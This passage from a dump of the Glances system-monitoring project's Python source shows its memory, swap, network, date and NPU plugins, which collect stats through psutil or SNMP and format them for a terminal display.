stats['available'] += zfs_shrink\n            else:\n                stats['available'] = zfs_shrink\n\n            # Subtract the amount ZFS cache can shrink from 'used' memory\n            stats['used'] -= zfs_shrink\n\n            # Update percent to reflect new 'available' value\n            stats['percent'] = round(float((stats['total'] - stats['available']) / stats['total'] * 100), 1)\n\n        stats['used'] = stats['total'] - stats['available']\n\n        return stats\n\n    def _update_for_win_os_esxi(self, stats):\n        # Mem stats for Windows|Vmware Esxi are stored in the FS table\n        try:\n            fs_stat = self.get_stats_snmp(snmp_oid=snmp_oid[self.short_system_name], bulk=True)\n        except KeyError:\n            self.reset()\n        else:\n            for fs in fs_stat:\n                # The Physical Memory (Windows) or Real Memory (VMware)\n                # gives statistics on RAM usage and availability.\n                if fs in ('Physical Memory', 'Real Memory'):\n                    stats['total'] = int(fs_stat[fs]['size']) * int(fs_stat[fs]['alloc_unit'])\n                    stats['used'] = int(fs_stat[fs]['used']) * int(fs_stat[fs]['alloc_unit'])\n                    stats['percent'] = float(stats['used'] * 100 / stats['total'])\n                    stats['free'] = stats['total'] - stats['used']\n                    break\n\n        return stats\n\n    def _update_for_other_oses(self, stats):\n        stats = self.get_stats_snmp(snmp_oid=snmp_oid['default'])\n\n        if stats['total'] == '':\n            self.reset()\n            return 'reset'\n\n        for k in stats:\n            stats[k] = int(stats[k]) * 1024\n\n        # used=total-free\n        stats['used'] = stats['total'] - stats['free']\n\n        # percent: the percentage usage calculated as (total - available) / total * 100.\n        stats['percent'] = float((stats['total'] - stats['free']) / stats['total'] * 100)\n\n        return stats\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    @GlancesPluginModel._manage_mmm\n    def update(self):\n        \"\"\"Update RAM memory stats using the input method.\"\"\"\n        init = self.get_init_value()\n\n        if self.input_method == 'local':\n            stats = self._update_for_local(init)\n        elif self.input_method == 'snmp' and self.short_system_name in ('windows', 'esxi'):\n            stats = self._update_for_win_os_esxi(init)\n        elif self.input_method == 'snmp':\n            stats = self._update_for_other_oses(init)\n\n        if stats in ['reset']:\n            return self.stats\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def update_views(self):\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        # Add specifics information\n        # Alert and log\n        if 'used' in self.stats and 'total' in self.stats:\n            self.views['percent']['decoration'] = self.get_alert_log(self.stats['used'], maximum=self.stats['total'])\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and plugin not disabled\n        if not self.stats or self.is_disabled():\n            return ret\n\n        # First line\n        # total% + active\n        msg = '{}'.format('MEM')\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n        msg = ' {:2}'.format(self.trend_msg(self.get_trend('percent')))\n        ret.append(self.curse_add_line(msg))\n        # Percent memory usage\n        msg = '{:>7.1%}'.format(self.stats['percent'] / 100)\n        ret.append(self.curse_add_line(msg, self.get_views(key='percent', option='decoration')))\n        # Active memory usage\n        ret.extend(self.curse_add_stat('active', width=16, header='  '))\n\n        # Second line\n        # total + inactive\n        ret.append(self.curse_new_line())\n        # Total memory usage\n        ret.extend(self.curse_add_stat('total', width=15))\n        # Inactive memory usage\n        ret.extend(self.curse_add_stat('inactive', width=16, header='  '))\n\n        # Third line\n        # used + buffers\n        ret.append(self.curse_new_line())\n        # Used memory usage\n        if self.available:\n            ret.extend(self.curse_add_stat('available', width=15))\n        else:\n            ret.extend(self.curse_add_stat('used', width=15))\n        # Buffers memory usage\n        ret.extend(self.curse_add_stat('buffers', width=16, header='  '))\n\n        # Fourth line\n        # free + cached\n        ret.append(self.curse_new_line())\n        # Free memory usage\n        ret.extend(self.curse_add_stat('free', width=15))\n        # Cached memory usage\n        ret.extend(self.curse_add_stat('cached', width=16, header='  '))\n\n        return ret\n"
  },
  {
    "path": "glances/plugins/memswap/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Swap memory plugin.\"\"\"\n\nimport psutil\n\nfrom glances.plugins.plugin.model import GlancesPluginModel\nfrom glances.timer import getTimeSinceLastUpdate\n\n# Fields description\nfields_description = {\n    'total': {'description': 'Total swap memory.', 'unit': 'bytes', 'min_symbol': 'K'},\n    'used': {'description': 'Used swap memory.', 'unit': 'bytes', 'min_symbol': 'K'},\n    'free': {'description': 'Free swap memory.', 'unit': 'bytes', 'min_symbol': 'K'},\n    'percent': {'description': 'Used swap memory in percentage.', 'unit': 'percent'},\n    'sin': {\n        'description': 'The number of bytes the system has swapped in from disk (cumulative).',\n        'unit': 'bytes',\n        'min_symbol': 'K',\n    },\n    'sout': {\n        'description': 'The number of bytes the system has swapped out from disk (cumulative).',\n        'unit': 'bytes',\n        'min_symbol': 'K',\n    },\n    'time_since_update': {'description': 'Number of seconds since last update.', 'unit': 'seconds'},\n}\n\n# SNMP OID\n# Total Swap Size: .1.3.6.1.4.1.2021.4.3.0\n# Available Swap Space: .1.3.6.1.4.1.2021.4.4.0\nsnmp_oid = {\n    'default': {'total': '1.3.6.1.4.1.2021.4.3.0', 'free': '1.3.6.1.4.1.2021.4.4.0'},\n    'windows': {\n        'mnt_point': '1.3.6.1.2.1.25.2.3.1.3',\n        'alloc_unit': '1.3.6.1.2.1.25.2.3.1.4',\n        'size': '1.3.6.1.2.1.25.2.3.1.5',\n        'used': '1.3.6.1.2.1.25.2.3.1.6',\n    },\n}\n\n# Define the history items list\n# All items in this list will be historised if the --enable-history tag is set\nitems_history_list = [{'name': 'percent', 'description': 'Swap memory usage', 'y_unit': '%'}]\n\n\nclass MemswapPlugin(GlancesPluginModel):\n    \"\"\"Glances swap memory plugin.\n\n    stats is a dict\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args, config=config, items_history_list=items_history_list, fields_description=fields_description\n        )\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update swap memory stats using the input method.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if self.input_method == 'local':\n            # Update stats using the standard system lib\n            # Grab SWAP using the psutil swap_memory method\n            try:\n                sm_stats = psutil.swap_memory()\n            except (OSError, RuntimeError):\n                # Crash on startup on Illumos when no swap is configured #1767\n                # OpenBSD crash on start without a swap file/partition #2719\n                pass\n            else:\n                # Get all the swap stats (copy/paste of the psutil documentation)\n                # total: total swap memory in bytes\n                # used: used swap memory in bytes\n                # free: free swap memory in bytes\n                # percent: the percentage usage\n                # sin: the number of bytes the system has swapped in from disk (cumulative)\n                # sout: the number of bytes the system has swapped out from disk (cumulative)\n                for swap in ['total', 'used', 'free', 'percent', 'sin', 'sout']:\n                    if hasattr(sm_stats, swap):\n                        stats[swap] = getattr(sm_stats, swap)\n\n                # By storing time data we enable sin/s and sout/s calculations in the\n                # XML/RPC API, which would otherwise be overly difficult work\n                # for users of the API\n                stats['time_since_update'] = getTimeSinceLastUpdate('memswap')\n        elif self.input_method == 'snmp':\n            # Update stats using SNMP\n            if self.short_system_name == 'windows':\n                # Mem stats for Windows OS are stored in the FS table\n                try:\n                    fs_stat = self.get_stats_snmp(snmp_oid=snmp_oid[self.short_system_name], bulk=True)\n                except KeyError:\n                    self.reset()\n                else:\n                    for fs in fs_stat:\n                        # The virtual memory concept is used by the operating\n                        # system to extend (virtually) the physical memory and\n                        # thus to run more programs by swapping unused memory\n                        # zone (page) to a disk file.\n                        if fs == 'Virtual Memory':\n                            stats['total'] = int(fs_stat[fs]['size']) * int(fs_stat[fs]['alloc_unit'])\n                            stats['used'] = int(fs_stat[fs]['used']) * int(fs_stat[fs]['alloc_unit'])\n                            stats['percent'] = float(stats['used'] * 100 / stats['total'])\n                            stats['free'] = stats['total'] - stats['used']\n                            break\n            else:\n                stats = self.get_stats_snmp(snmp_oid=snmp_oid['default'])\n\n                if stats['total'] == '':\n                    self.reset()\n                    return stats\n\n                for key in stats:\n                    if stats[key] != '':\n                        stats[key] = float(stats[key]) * 1024\n\n                # used=total-free\n                stats['used'] = stats['total'] - stats['free']\n\n                # percent: the percentage usage calculated as (total -\n                # available) / total * 100.\n                stats['percent'] = float((stats['total'] - stats['free']) / stats['total'] * 100)\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def update_views(self):\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        # Add specifics information\n        # Alert and log\n        if 'used' in self.stats and 'total' in self.stats and 'percent' in self.stats:\n            self.views['percent']['decoration'] = self.get_alert_log(self.stats['used'], maximum=self.stats['total'])\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and plugin not disabled\n        if not self.stats or self.is_disabled():\n            return ret\n\n        # First line\n        # total%\n        msg = '{:4}'.format('SWAP')\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n        msg = ' {:2}'.format(self.trend_msg(self.get_trend('percent')))\n        ret.append(self.curse_add_line(msg))\n        # Percent memory usage\n        msg = '{:>6.1%}'.format(self.stats['percent'] / 100)\n        ret.append(self.curse_add_line(msg, self.get_views(key='percent', option='decoration')))\n\n        # Second line\n        # total\n        ret.append(self.curse_new_line())\n        # Total memory usage\n        ret.extend(self.curse_add_stat('total', width=15))\n\n        # Third line\n        # used\n        ret.append(self.curse_new_line())\n        # Used memory usage\n        ret.extend(self.curse_add_stat('used', width=15))\n\n        # Fourth line\n        # free\n        ret.append(self.curse_new_line())\n        # Free memory usage\n        ret.extend(self.curse_add_stat('free', width=15))\n\n        return ret\n"
  },
  {
    "path": "glances/plugins/network/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Network plugin.\"\"\"\n\nimport psutil\n\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: if True then compute and add *_gauge and *_rate_per_is fields\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'interface_name': {'description': 'Interface name.'},\n    'alias': {'description': 'Interface alias name (optional).'},\n    'bytes_recv': {\n        'description': 'Number of bytes received.',\n        'rate': True,\n        'unit': 'byte',\n    },\n    'bytes_sent': {\n        'description': 'Number of bytes sent.',\n        'rate': True,\n        'unit': 'byte',\n    },\n    'bytes_all': {\n        'description': 'Number of bytes received and sent.',\n        'rate': True,\n        'unit': 'byte',\n    },\n    'speed': {\n        'description': 'Maximum interface speed (in bit per second). Can return 0 on some operating-system.',\n        'unit': 'bitpersecond',\n    },\n    'is_up': {'description': 'Is the interface up ?', 'unit': 'bool'},\n}\n\n# SNMP OID\n# http://www.net-snmp.org/docs/mibs/interfaces.html\n# Dict key = interface_name\nsnmp_oid = {\n    'default': {\n        'interface_name': '1.3.6.1.2.1.2.2.1.2',\n        'bytes_recv': '1.3.6.1.2.1.2.2.1.10',\n        'bytes_sent': '1.3.6.1.2.1.2.2.1.16',\n    }\n}\n\n# Define the history items list\nitems_history_list = [\n    {'name': 'bytes_recv_rate_per_sec', 'description': 'Download rate per second', 'y_unit': 'B/s'},\n    {'name': 'bytes_sent_rate_per_sec', 'description': 'Upload rate per second', 'y_unit': 'B/s'},\n]\n\n\nclass NetworkPlugin(GlancesPluginModel):\n    \"\"\"Glances network plugin.\n\n    stats is a list\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args,\n            config=config,\n            items_history_list=items_history_list,\n            fields_description=fields_description,\n            stats_init_value=[],\n        )\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Hide stats if it has never been != 0\n        if config is not None:\n            self.hide_zero = config.get_bool_value(self.plugin_name, 'hide_zero', default=False)\n        else:\n            self.hide_zero = False\n        self.hide_zero_fields = ['bytes_recv_rate_per_sec', 'bytes_sent_rate_per_sec']\n\n        #  Add support for automatically hiding network interfaces that are down\n        # or that don't have any IP addresses #2799\n        if config is not None:\n            self.hide_no_up = config.get_bool_value(self.plugin_name, 'hide_no_up', default=False)\n            self.hide_no_ip = config.get_bool_value(self.plugin_name, 'hide_no_ip', default=False)\n        else:\n            self.hide_no_up = False\n            self.hide_no_ip = False\n\n        # Force a first update because we need two updates to have the first stat\n        self.update()\n        self.refresh_timer.set(0)\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'interface_name'\n\n    # @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update network stats using the input method.\n\n        :return: list of stats dict (one dict per interface)\n        \"\"\"\n        if self.input_method == 'local':\n            stats = self.update_local()\n\n            # Update the stats\n            for stat in stats:\n                if stat.get('bytes_recv') is None:\n                    print(f\"def update: bytes_recv is None for {stat['interface_name']}\")\n\n        else:\n            stats = self.get_init_value()\n\n        self.stats = stats\n\n        return self.stats\n\n    @GlancesPluginModel._manage_rate\n    def update_local(self):\n        # Update stats using the standard system lib\n\n        stats = self.get_init_value()\n\n        # Grab network interface stat using the psutil net_io_counter method\n        # Example:\n        # { 'veth4cbf8f0a': snetio(\n        #   bytes_sent=102038421, bytes_recv=1263258,\n        #   packets_sent=25046, packets_recv=14114,\n        #   errin=0, errout=0, dropin=0, dropout=0), ... }\n        try:\n            net_io_counters = psutil.net_io_counters(pernic=True)\n        except UnicodeDecodeError as e:\n            logger.debug(f'Can not get network interface counters ({e})')\n            return self.stats\n\n        # Grab interface's status (issue #765)\n        # Grab interface's speed (issue #718)\n        # Example:\n        # { 'veth4cbf8f0a': snicstats(\n        #   isup=True, duplex=<NicDuplex.NIC_DUPLEX_FULL: 2>,\n        #   speed=10000, mtu=1500, flags='up,broadcast,running,multicast'), ... }\n        net_status = {}\n        try:\n            net_status = psutil.net_if_stats()\n            net_addrs = psutil.net_if_addrs()\n        except OSError as e:\n            # see psutil #797/glances #1106\n            logger.debug(f'Can not get network interface status ({e})')\n\n        # Filter interfaces (related to #2799)\n        if self.hide_no_up:\n            net_status = {k: v for k, v in net_status.items() if v.isup}\n        if self.hide_no_ip:\n            net_status = {\n                k: v\n                for k, v in net_status.items()\n                if k in net_addrs and any(a.family != psutil.AF_LINK for a in net_addrs[k])\n            }\n\n        for interface_name, interface_stat in net_io_counters.items():\n            # Do not take hidden interface into account\n            # or KeyError: 'eth0' when interface is not connected #1348\n            if not self.is_display(interface_name) or interface_name not in net_status:\n                continue\n\n            # Filter stats to keep only the fields we want (define in fields_description)\n            # It will also convert psutil objects to a standard Python dict\n            stat = self.filter_stats(interface_stat)\n            stat.update(self.filter_stats(net_status[interface_name]))\n\n            # Add the key\n            stat['key'] = self.get_key()\n\n            # Add disk name\n            stat['interface_name'] = interface_name\n\n            # Add alias define in the configuration file\n            stat['alias'] = self.has_alias(interface_name)\n\n            # Add sent + revc  stats\n            stat['bytes_all'] = stat['bytes_sent'] + stat['bytes_recv']\n\n            # Interface speed in Mbps, convert it to bps\n            # Can be always 0 on some OSes\n            stat['speed'] = stat['speed'] * 1048576\n\n            stats.append(stat)\n\n        return stats\n\n    def update_views(self):\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        # Add specifics information\n        # Alert\n        for i in self.get_raw():\n            if_real_name = i['interface_name'].split(':')[0]\n\n            # Skip alert if no timespan to measure\n            if not i.get('bytes_recv_rate_per_sec') or not i.get('bytes_sent_rate_per_sec'):\n                continue\n\n            # Convert rate to bps (to be able to compare to interface speed)\n            bps_rx = int(i['bytes_recv_rate_per_sec'] * 8)\n            bps_tx = int(i['bytes_sent_rate_per_sec'] * 8)\n\n            # Decorate the bitrate with the configuration file thresholds\n            alert_rx = self.get_alert(bps_rx, header='rx', action_key=if_real_name)\n            alert_tx = self.get_alert(bps_tx, header='tx', action_key=if_real_name)\n\n            # If nothing is define in the configuration file...\n            # ... then use the interface speed (not available on all systems)\n            if alert_rx == 'DEFAULT' and 'speed' in i and i['speed'] != 0:\n                alert_rx = self.get_alert(current=bps_rx, maximum=i['speed'], header='rx')\n            if alert_tx == 'DEFAULT' and 'speed' in i and i['speed'] != 0:\n                alert_tx = self.get_alert(current=bps_tx, maximum=i['speed'], header='tx')\n\n            # then decorates\n            self.views[i[self.get_key()]]['bytes_recv']['decoration'] = alert_rx\n            self.views[i[self.get_key()]]['bytes_recv_rate_per_sec']['decoration'] = alert_rx\n            self.views[i[self.get_key()]]['bytes_sent']['decoration'] = alert_tx\n            self.views[i[self.get_key()]]['bytes_sent_rate_per_sec']['decoration'] = alert_rx\n\n    def _msg_curse_header(self, args, name_max_width):\n        \"\"\"Return the header curse lines.\"\"\"\n        ret = [self.curse_add_line('{:{width}}'.format('NETWORK', width=name_max_width), \"TITLE\")]\n        if args and args.network_cumul:\n            if args and args.network_sum:\n                ret.append(self.curse_add_line('{:>14}'.format('Rx+Tx')))\n            else:\n                ret.append(self.curse_add_line('{:>7}'.format('Rx')))\n                ret.append(self.curse_add_line('{:>7}'.format('Tx')))\n        else:\n            if args and args.network_sum:\n                ret.append(self.curse_add_line('{:>14}'.format('Rx+Tx/s')))\n            else:\n                ret.append(self.curse_add_line('{:>7}'.format('Rx/s')))\n                ret.append(self.curse_add_line('{:>7}'.format('Tx/s')))\n        return ret\n\n    def _get_if_name(self, i, name_max_width):\n        \"\"\"Return the (possibly truncated) display name for an interface.\"\"\"\n        if_name = i['alias'] if i['alias'] is not None else i['interface_name'].split(':')[0]\n        if len(if_name) > name_max_width:\n            # Cut interface name if it is too long\n            if_name = '_' + if_name[-name_max_width + 1 :]\n        return if_name\n\n    def _get_if_rates(self, i, args):\n        \"\"\"Return (rx, tx, ax) formatted strings, or None if rates are unavailable.\n\n        Returns None when a new interface appears before its first rate measurement.\n        \"\"\"\n        to_bit, unit = (1, '') if (args and args.byte) else (8, 'b')\n        if args and args.network_cumul:\n            if i.get('bytes_recv') is None or i.get('bytes_sent') is None:\n                return None\n            rx = self.auto_unit(int(i['bytes_recv'] * to_bit)) + unit\n            tx = self.auto_unit(int(i['bytes_sent'] * to_bit)) + unit\n            ax = self.auto_unit(int(i['bytes_all'] * to_bit)) + unit\n        else:\n            if i.get('bytes_recv_rate_per_sec') is None or i.get('bytes_sent_rate_per_sec') is None:\n                return None\n            rx = self.auto_unit(int(i['bytes_recv_rate_per_sec'] * to_bit)) + unit\n            tx = self.auto_unit(int(i['bytes_sent_rate_per_sec'] * to_bit)) + unit\n            ax = self.auto_unit(int(i['bytes_all_rate_per_sec'] * to_bit)) + unit\n        return rx, tx, ax\n\n    def _msg_curse_if_line(self, i, if_name, rx, tx, ax, args, name_max_width):\n        \"\"\"Return curse lines for a single interface row.\"\"\"\n        ret = [\n            self.curse_new_line(),\n            self.curse_add_line('{:{width}}'.format(if_name, width=name_max_width)),\n        ]\n        if args and args.network_sum:\n            ret.append(self.curse_add_line(f'{ax:>14}'))\n        else:\n            ret.append(\n                self.curse_add_line(\n                    f'{rx:>7}', self.get_views(item=i[self.get_key()], key='bytes_recv', option='decoration')\n                )\n            )\n            ret.append(\n                self.curse_add_line(\n                    f'{tx:>7}', self.get_views(item=i[self.get_key()], key='bytes_sent', option='decoration')\n                )\n            )\n        return ret\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        ret = []\n\n        if not self.stats or self.is_disabled():\n            return ret\n\n        if not max_width:\n            logger.debug(f\"No max_width defined for the {self.plugin_name} plugin, it will not be displayed.\")\n            return ret\n\n        name_max_width = max_width - 12\n        ret.extend(self._msg_curse_header(args, name_max_width))\n\n        for i in self.sorted_stats():\n            # Do not display interface in down state (issue #765)\n            if ('is_up' in i) and (i['is_up'] is False):\n                continue\n            # Hide stats if never be different from 0 (issue #1787)\n            if all(self.get_views(item=i[self.get_key()], key=f, option='hidden') for f in self.hide_zero_fields):\n                continue\n\n            rates = self._get_if_rates(i, args)\n            if rates is None:\n                # Avoid issue when a new interface is created on the fly\n                # Example: start Glances, then start a new container\n                continue\n\n            if_name = self._get_if_name(i, name_max_width)\n            ret.extend(self._msg_curse_if_line(i, if_name, *rates, args, name_max_width))\n\n        return ret\n"
  },
  {
    "path": "glances/plugins/now/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Now (current date) plugin.\"\"\"\n\nimport datetime\nfrom time import strftime, tzname\n\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: if True then compute and add *_gauge and *_rate_per_is fields\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'custom': {'description': 'Current date in custom format.'},\n    'iso': {'description': 'Current date in ISO 8601 format.'},\n}\n\n\nclass NowPlugin(GlancesPluginModel):\n    \"\"\"Plugin to get the current date/time.\n\n    stats is a dict:\n    {\n        \"custom\": \"2024-04-27 16:43:52 CEST\",\n        \"iso\": \"2024-04-27T16:28:23.382748\"\n    }\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, fields_description=fields_description, stats_init_value={})\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Set the message position\n        self.align = 'bottom'\n\n        if args and args.strftime_format:\n            self.strftime = args.strftime_format\n        elif config:\n            if 'global' in config.as_dict():\n                self.strftime = config.as_dict()['global']['strftime_format']\n\n    def update(self):\n        \"\"\"Update current date/time.\"\"\"\n        stats = self.get_init_value()\n\n        # Start with the ISO format\n        stats['iso'] = datetime.datetime.now().astimezone().replace(microsecond=0).isoformat()\n\n        # Then the custom\n        if self.strftime:\n            stats['custom'] = strftime(self.strftime)\n        else:\n            if len(tzname[1]) > 6:\n                stats['custom'] = strftime('%Y-%m-%d %H:%M:%S %z')\n            else:\n                stats['custom'] = strftime('%Y-%m-%d %H:%M:%S %Z')\n\n        self.stats = stats\n        return self.stats\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the string to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        if not self.stats or self.is_disabled():\n            return ret\n\n        # Build the string message\n        # 23 is the padding for the process list\n        msg = '{:23}'.format(self.stats['custom'])\n        ret.append(self.curse_add_line(msg))\n\n        return ret\n"
  },
  {
    "path": "glances/plugins/npu/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# Copyright (C) 2026 Nicolas Hennion <nicolashennion@gmail.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"NPU plugin for Glances.\n\nCurrently supported:\n- AMD NPU (Ryzen AI - Phoenix, Hawk Point, Strix Point)\n- Intel NPU (Meteor Lake, Lunar Lake, Arrow Lake)\n- Rockchip NPU (RK3588, RK3576)\n\"\"\"\n\nfrom glances.logger import logger\nfrom glances.plugins.npu.cards.amd import AmdNPU\nfrom glances.plugins.npu.cards.intel import IntelNPU\nfrom glances.plugins.npu.cards.rockchip import RockchipNPU\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'npu_id': {\n        'description': 'NPU identification',\n    },\n    'name': {\n        'description': 'NPU name',\n    },\n    'load': {\n        'description': 'NPU load',\n        'unit': 'percent',\n    },\n    'freq': {\n        'description': 'NPU frequency',\n        'unit': 'percent',\n    },\n    'freq_current': {\n        'description': 'NPU current frequency',\n        'unit': 'hertz',\n    },\n    'freq_max': {\n        'description': 'NPU maximum frequency',\n        'unit': 'hertz',\n    },\n    'mem': {\n        'description': 'Memory consumption',\n        'unit': 'percent',\n    },\n    'memory_used': {\n        'description': 'Memory used',\n        'unit': 'byte',\n    },\n    'memory_total': {\n        'description': 'Memory total',\n        'unit': 'byte',\n    },\n    'temperature': {\n        'description': 'NPU temperature',\n        'unit': 'celsius',\n    },\n    'power': {\n        'description': 'NPU power consumption',\n        'unit': 'watt',\n    },\n}\n\n# Define the history items list\n# All items in this list will be historised if the --enable-history tag is set\nitems_history_list = [\n    {'name': 'freq', 'description': 'NPU processor frequency', 'y_unit': '%'},\n    {'name': 'load', 'description': 'NPU processor load', 'y_unit': '%'},\n    {'name': 'mem', 'description': 'Memory consumption', 'y_unit': '%'},\n]\n\n\nclass NpuPlugin(GlancesPluginModel):\n    \"\"\"Glances NPU plugin.\n\n    stats is a list of dictionaries with one entry per NPU\n    \"\"\"\n\n    def __init__(\n        self,\n        args=None,\n        config=None,\n        amd_npu_root_folder: str = '/',\n        intel_npu_root_folder: str = '/',\n        rockchip_npu_root_folder: str = '/',\n    ):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args,\n            config=config,\n            items_history_list=items_history_list,\n            stats_init_value=[],\n            fields_description=fields_description,\n        )\n\n        # Init the AMD NPU\n        # Just for test purpose (uncomment to test on computer without AMD NPU)\n        # amd_npu_root_folder = './tests-data/plugins/npu/amd'\n        self.amd = AmdNPU(npu_root_folder=amd_npu_root_folder)\n\n        # Init the Intel NPU\n        # Just for test purpose (uncomment to test on computer without Intel NPU)\n        # intel_npu_root_folder = './tests-data/plugins/npu/intel'\n        self.intel = IntelNPU(npu_root_folder=intel_npu_root_folder)\n\n        # Init the Rockchip NPU\n        # Just for test purpose (uncomment to test on computer without Rockchip NPU)\n        # rockchip_npu_root_folder = './tests-data/plugins/npu/rockchip'\n        self.rockchip = RockchipNPU(npu_root_folder=rockchip_npu_root_folder)\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n    def exit(self):\n        \"\"\"Overwrite the exit method to close the NPU API.\"\"\"\n        self.amd.exit()\n        self.intel.exit()\n        self.rockchip.exit()\n\n        # Call the father exit method\n        super().exit()\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'npu_id'\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update the NPU stats.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        # Get the stats\n        if self.amd.is_available():\n            try:\n                stats.append(self.amd.get_device_stats())\n            except Exception as e:\n                logger.debug(f\"Error getting AMD NPU stats, disable AMD NPU: {e}\")\n                self.amd.disable()\n        if self.intel.is_available():\n            try:\n                stats.append(self.intel.get_device_stats())\n            except Exception as e:\n                logger.debug(f\"Error getting Intel NPU stats, disable Intel NPU: {e}\")\n                self.intel.disable()\n        if self.rockchip.is_available():\n            try:\n                stats.append(self.rockchip.get_device_stats())\n            except Exception as e:\n                logger.debug(f\"Error getting Rockchip NPU stats, disable Rockchip NPU: {e}\")\n                self.rockchip.disable()\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def update_views(self):\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        # Add specifics information\n        # Alert\n        for i in self.stats:\n            # Init the views for the current GPU\n            self.views[i[self.get_key()]] = {'load': {}, 'freq': {}, 'mem': {}}\n            # Load alert\n            if 'load' in i:\n                alert = self.get_alert(i['load'], header='load')\n                self.views[i[self.get_key()]]['load']['decoration'] = alert\n            # Frequency alert\n            if 'freq' in i:\n                alert = self.get_alert(i['freq'], header='freq')\n                self.views[i[self.get_key()]]['freq']['decoration'] = alert\n            # Memory alert\n            if 'mem' in i:\n                alert = self.get_alert(i['mem'], header='mem')\n                self.views[i[self.get_key()]]['mem']['decoration'] = alert\n\n        return True\n\n    def _format_value(self, value, unit='%'):\n        \"\"\"Format a value with unit, or return N/A if value is None.\"\"\"\n        if value is None:\n            return '{:>5}'.format('N/A')\n        return f'{value:>4.0f}{unit}'\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        ret = []\n\n        # Only process if stats exist, not empty and plugin not disabled\n        if not self.stats or self.is_disabled():\n            return ret\n\n        # First name is NPU name (limited to 15 characters)\n        ret.append(self.curse_add_line(self.stats[0]['name'][:17], 'TITLE'))\n\n        # Second line is load (or frequency) percent and frequency limit\n        ret.append(self.curse_new_line())\n        if self.stats[0]['load'] is not None:\n            msg = '{:<3.0%}'.format(self.stats[0]['load'] / 100)\n            ret.append(\n                self.curse_add_line(\n                    msg, self.get_views(key='load', item=self.stats[0][self.get_key()], option='decoration')\n                )\n            )\n        else:\n            msg = '{:<3.0%}'.format(self.stats[0]['freq'] / 100)\n            ret.append(\n                self.curse_add_line(\n                    msg, self.get_views(key='freq', item=self.stats[0][self.get_key()], option='decoration')\n                )\n            )\n        freq = '{}/{}Hz'.format(\n            self.auto_unit(self.stats[0]['freq_current']), self.auto_unit(self.stats[0]['freq_max'])\n        )\n        msg = f'{freq:>14}'\n        ret.append(self.curse_add_line(msg, 'DEFAULT'))\n\n        # Third line is memory\n        # Note: for the moment not available\n        ret.append(self.curse_new_line())\n        ret.append(self.curse_add_line('{:<12}'.format('mem:')))\n        msg = self._format_value(self.stats[0]['mem'], unit='%')\n        ret.append(\n            self.curse_add_line(msg, self.get_views(key='mem', 